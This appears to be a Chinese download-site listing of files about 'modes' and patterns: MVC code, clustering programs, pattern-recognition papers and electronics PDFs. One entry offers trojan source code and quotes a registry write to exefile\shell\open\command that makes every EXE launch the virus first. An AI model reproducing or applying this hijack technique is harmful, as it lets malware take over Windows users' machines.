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模式类

  • JSP+SQL2005 MVC模式 下载后改DB.java类的SQL密码就可用。

    JSP+SQL2005 MVC模式 下载后改DB.java类的SQL密码就可用。

    标签: SQL 2005 java JSP

    上传时间: 2013-12-31

    上传用户:清风冷雨

  • 模式识别-模糊聚类算法--传递闭包法

    模式识别-模糊聚类算法--传递闭包法,追踪法-matlab程序

    标签: 模式识别 模糊聚类 算法

    上传时间: 2017-07-26

    上传用户:wangzhen1990

  • 图象 处 理和模式识别中经常根据物体的形状来识别物 体或对物体进行分类。形状特征可以分为区域特征和边界特 征两大类

    图象 处 理和模式识别中经常根据物体的形状来识别物 体或对物体进行分类。形状特征可以分为区域特征和边界特 征两大类,矩不变量是最基本的形状特征。Hu提出的矩不变 量是图象区域内部细节的描述,是一种区域特征。它是建立 在对一个区域内部灰度值的统计分析基础上的,需要目标区 域的所有象素参与运算

    标签: 图象 分类 区域特征

    上传时间: 2013-12-23

    上传用户:lnnn30

  • 可以在安全模式加载的木马源代码 写注册项 (#根类, “exefileshellopencommand”, 取特定目录 (9) + “penguin01.exe ” + #引号 + “ 1” + #

    可以在安全模式加载的木马源代码 写注册项 (#根类, “exefile\shell\open\command\”, 取特定目录 (9) + “penguin01.exe ” + #引号 + “ 1” + #引号 + “ *”) 靠着这条就无敌啦``` 运行任意EXE文件 都会先运行病毒文件.

    标签: exefileshellopencommand penguin exe 01

    上传时间: 2014-01-02

    上传用户:sardinescn

  • 不连续导电模式高功率因数开关电源-161页-3.2M.pdf

    专辑类-开关电源相关专辑-119册-749M 不连续导电模式高功率因数开关电源-161页-3.2M.pdf

    标签: 161 3.2 导电模式

    上传时间: 2013-07-07

    上传用户:debuchangshi

  • 模式识别-原理方法与应用-313页-8.1M.pdf

    专辑类-实用电子技术专辑-385册-3.609G 模式识别-原理方法与应用-313页-8.1M.pdf

    标签: 313 8.1 模式识别

    上传时间: 2013-04-24

    上传用户:laozhanshi111

  • 时间触发嵌入式系统设计模式-8051系列微控制器应用-783页-26.8M.pdf

    专辑类-单片机专辑-258册-4.20G 时间触发嵌入式系统设计模式-8051系列微控制器应用-783页-26.8M.pdf

    标签: 8051 26.8 783

    上传时间: 2013-04-24

    上传用户:czl10052678

  • C#-设计模式-270页-5.4M.pdf

    专辑类-网络及电脑相关专辑-114册-4.31G C#-设计模式-270页-5.4M.pdf

    标签: 270 5.4 设计模式

    上传时间: 2013-07-15

    上传用户:xuan‘nian

  • MVB1类设备控制器的FPGA设计

    本文对TCN中的MVB技术进行了研究,并在深入了解MVB的通信机制的基础上,提出了采用FPGA替代MVB控制器专用芯片的解决方法。根据TCN协议,连接在MVB上的设备可以分为5类,其中1类设备可以在不需要CPU的基础上实现自动通信,最为常用。本设计的目的就是采用FPGA替代MVB1类设备控制器。 文章采用自顶向下的模块化设计方法,根据MVB1类设备控制器要实现的功能,将设计划分为3个模块:发送模块、接收模块和MVB1类模式控制模块。其中发送模块又划分为位控制单元、CRC生成单元、FIFO单元和曼彻斯特编码单元等。接收模块又划分为帧起始检测单元、时钟恢复单元、帧分界符检测单元、数据译码单元、CRC校验单元、译码控制单元和长度错误检测单元等。MVB1类模式控制模块又划分为报文错误处理单元、主帧寄存器单元、TM控制单元和主控单元等。上述各模块的RTL级设计都是采用硬件描述语言Verilog实现的。

    标签: MVB1 FPGA 设备 控制器

    上传时间: 2013-07-21

    上传用户:dengzb84

  • 子空间模式识别方法

    提出了一种改进的LSM-ALSM子空间模式识别方法,将LSM的旋转策略引入ALSM,使子空间之间互不关联的情况得到改善,提高了ALSM对相似样本的区分能力。讨论中以性能函数代替经验函数来确定拒识规则的参数,实现了识别率、误识率与拒识率之间的最佳平衡;通过对有限字符集的实验结果表明,LSM-ALSM算法有效地改善了分类器的识别率和可靠性。关 键 词 学习子空间; 性能函数; 散布矩阵; 最小描述长度在子空间模式识别方法中,一个线性子空间代表一个模式类别,该子空间由反映类别本质的一组特征矢量张成,分类器根据输入样本在各子空间上的投影长度将其归为相应的类别。典型的子空间算法有以下三种[1, 2]:CLAFIC(Class-feature Information Compression)算法以相关矩阵的部分特征向量来构造子空间,实现了特征信息的压缩,但对样本的利用为一次性,不能根据分类结果进行调整和学习,对样本信息的利用不充分;学习子空间方法(Leaning Subspace Method, LSM)通过旋转子空间来拉大样本所属类别与最近邻类别的距离,以此提高分类能力,但对样本的训练顺序敏感,同一样本训练的顺序不同对子空间构造的影响就不同;平均学习子空间算法(Averaged Learning Subspace Method, ALSM)是在迭代训练过程中,用错误分类的样本去调整散布矩阵,训练结果与样本输入顺序无关,所有样本平均参与训练,其不足之处是各模式的子空间之间相互独立。针对以上问题,本文提出一种改进的子空间模式识别方法。子空间模式识别的基本原理1.1 子空间的分类规则子空间模式识别方法的每一类别由一个子空间表示,子空间分类器的基本分类规则是按矢量在各子空间上的投影长度大小,将样本归类到最大长度所对应的类别,在类x()iω的子空间上投影长度的平方为()211,2,,()argmax()jMTkkjpg===Σx􀀢 (1)式中 函数称为分类函数;为子空间基矢量。两类的分类情况如图1所示。

    标签: 子空间 模式 识别方法

    上传时间: 2013-12-25

    上传用户:熊少锋